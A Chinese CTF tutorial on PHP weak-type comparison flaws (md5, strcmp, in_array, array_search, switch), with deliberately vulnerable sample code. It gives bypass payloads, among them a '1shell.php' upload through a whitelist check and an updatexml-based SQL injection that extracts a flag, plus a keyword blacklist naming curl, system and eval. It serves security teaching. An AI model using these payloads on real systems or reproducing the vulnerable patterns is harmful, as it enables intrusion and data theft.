变量类型
- 标准类型:布尔型、整型、浮点、字符
- 复杂类型:数组、对象
- 特殊类型:资源
操作之间的比较
- 字符串与数字
- 字符串与数组
- 数字与数组
- 数字+e+数字
以上几点都包含在下面的代码中了:
<?php
# 字符串与数字
var_dump(0=="admin"); # True
var_dump(0=="1admin"); # False
var_dump(0=="admin1"); # True
# 字符串与数组
$arr = array();
var_dump("0"==$arr); # False
# 数字与数组
var_dump(0==$arr); # False
# xxexx
var_dump(0e123456==0e654321); # True
var_dump(1e1==10); # True
empty()与isset()
- 变量为:0,“0”,null,’’,false,array()时,使用empty函数,返回的都为True
- 变量未定义或者为null时,isset函数返回的都是faluse,其他都为true
<?php
$a = 0;
$b = null;
$c = '';
echo '<h2>empty</h2>';
var_dump(empty($a));
var_dump(empty($b));
var_dump(empty($c));
echo '<h2>isset</h2>';
var_dump(isset($a));
var_dump(isset($b));
var_dump(isset($c));
运行结果:
md5()
这个函数在CTF中还是比较常见的,一般就是一个if判断,两个用户可控的值传进来,经过md5()加密,对比加密后的结果,相等就输出flag,不等就终止程序。
<?php
error_reporting(0);
$arr1 = array('test1');
$arr2 = array('test2');
echo '<h1>数组绕过md5函数</h1>';
var_dump(md5($arr2)==md5($arr1));
echo '<h1>科学计数法绕过md5函数</h1>/';
var_dump(md5(QNKCDZO)==md5(s155964671a));
运行结果:
strcmp()
这个函数也是常用作一个判断,如果返回的值为0则程序继续运行,不为0则终止
<?php
$pwd = "1234567";
if (isset($_GET['pwd'])){
if (strcmp($_GET['pwd'],$pwd) == 0){
echo 'success';
}else{
echo 'password error !';
}
}else{
echo 'Please input password !';
}
这里应该是要GET传一个1234567才可以,但是这个函数同样可以通过传一个数组进行绕过
payload:
?pwd[]=
# 运行结果
success
in_array()
这个函数一共有三个参数,最关键的就是死三个参数,如果没有设置,则默认为进行松散比较,这就很危险了呀,这里用一道当年的CTF题来加深一下对这个函数的理解:
<?php
class Challenge{
const UPLOAD_DIRECTORY = './solutions/';
private $file;
private $whitelist;
public function __construct($file)
{
$this->file = $file;
$this->whitelist=range(1,24);
}
public function __destruct()
{
// TODO: Implement __destruct() method.
//这里要特别注意!!!
if (in_array($this->file['name'],$this->whitelist)){
move_uploaded_file(
$this->file['tmp_name'],
self::UPLOAD_DIRECTORY.$this->file['name']
);
}
}
}
$challenge=new Challenge($_FILES['solution']);
?>
加注释下的哪一行是关键,程序将文件名取出来与白名单进行对比,符合1~24就上传成功,不符合就上传失败,这里就运用到了前面的字符串与数字进行比较,所以payload就出来了:
Filename:1shell.php
CTF实例
index.php
<meta charset="UTF-8">
<?php
error_reporting(0);
include 'config.php';
$conn = new mysqli($servername,$username,$password,$dbname);
if ($conn->connect_error){
die("连接失败");
}
$sql="SELECT COUNT(*) FROM users";
$whitelist = range(1,6);
$result = $conn->query($sql);
if ($result->num_rows > 0){
$row = $result->fetch_assoc();
$whitelist = range(1,$row['COUNT(*)']);
}
$id = stop_hack($_GET['id']);
$sql = "SELECT * FROM users WHERE id=$id";
if (!in_array($id,$whitelist)){
die("id $id is not in whitelist.");
}
$result = $conn->query($sql);
if ($result->num_rows > 0){
$row = $result->fetch_assoc();
echo "<center><table border='1'>";
foreach ($row as $key=>$value){
echo "<tr><td><center>$key</center></td><br>";
echo "<td><center>$value</center></td></tr><br>";
}
echo "</table></center>";
}
else{
die($conn->error);
}
?>
config.php
<?php
$servername = "localhost";
$username = "root";
$password = "root";
$dbname = "weaktype";
function stop_hack($value){
$pattern =
"insert|delete|or|concat|concat_ws|group_concat|join|floor|
\/\*|\*|\.\.\/|\.\/|union|into|load_file|outfile|dumpfile|sub|hex|
file_put_contents|fwrite|curl|system|eval";
$back_list = explode("|",$pattern);
foreach ($back_list as $hack){
if (preg_match("/$hack/i",$value)) {
die("$hack detected");
}
}
return $value;
}
?>
db.sql
create database weaktype;
use weaktype;
create table users (
id int(6) unsigned auto_increment primary key,
name varchar(20) not null,
email varchar(30) not null,
salary int(8) unsigned not null );
INSERT INTO users VALUES(1,'Lucia','Lucia@hongri.com',3000);
INSERT INTO users VALUES(2,'Danny','Danny@hongri.com',4500);
INSERT INTO users VALUES(3,'Alina','Alina@hongri.com',2700);
INSERT INTO users VALUES(4,'Jameson','Jameson@hongri.com',10000);
INSERT INTO users VALUES(5,'Allie','Allie@hongri.com',6000);
create table flag(flag varchar(30) not null);
INSERT INTO flag VALUES('HRCTF{1n0rrY_i3_Vu1n3rab13}');
先来正常访问一下index吧:
进行and 1=1 / and 1=2测试,页面返回不正常,返回去看代码,它的过滤还是比较严格的,但唯独漏下了updatexml()和make_set()函数,所以我们只能用他俩结合代码中in_array()未设置第三个参数,来进行一个绕过注入:
payload
?id=3 and updatexml(1,make_set(3,'~',(select flag from flag limit 1)),1)
相关链接
array_search()
这是它的用法
CTF实例
<?php
if (isset($_GET['test'])){
if(!is_array($_GET['test'])){
exit();
}else{
$test=$_GET['test'];
for($i=0;$i<count($test);$i++){
if($test[$i]==="admin"){
echo "error";
exit();
}
$test[$i]=intval($test[$i]);
}
if(array_search("admin",$test)===0){
echo "flag";
}
else{
echo "false";
}
}
}else{
echo 'Please input array test';
}
?>
传入test[]=0,那么test就是一个数值型的数组,即 Array ( [0] => 0 ) ,array_search() 在test数值型数组中查找 “admin” 这个字符串的时候,首先会把字符串转换为数字,转换规则具体看本文第二个示例,所以 “admin” 变成了0,array_search()如果查找成功就会返回其键名,test数组中0的键名是0,而0===0,所以输出flag。
payload
?test[]=
swich
先来看一段代码:
<?php
$a = 0;
switch ($a){
case $a >= 0:
echo 0;
break;
case $a >= 10:
echo 1;
break;
default:
echo 2;
break;
}
乍一看,好像是输出0,但其实它是输出1的。。。
PHP中的swich是有点坑的,它匹配的是case中表达式的整数值,而第一个表达式**$a >= 0**,结果为Ture,case自动将它转换为int类型,也就是1,所以就匹配不上了,而第二个case的结果是false,int类型也就是0,正好匹配上了,所以会输出1。
运行结果: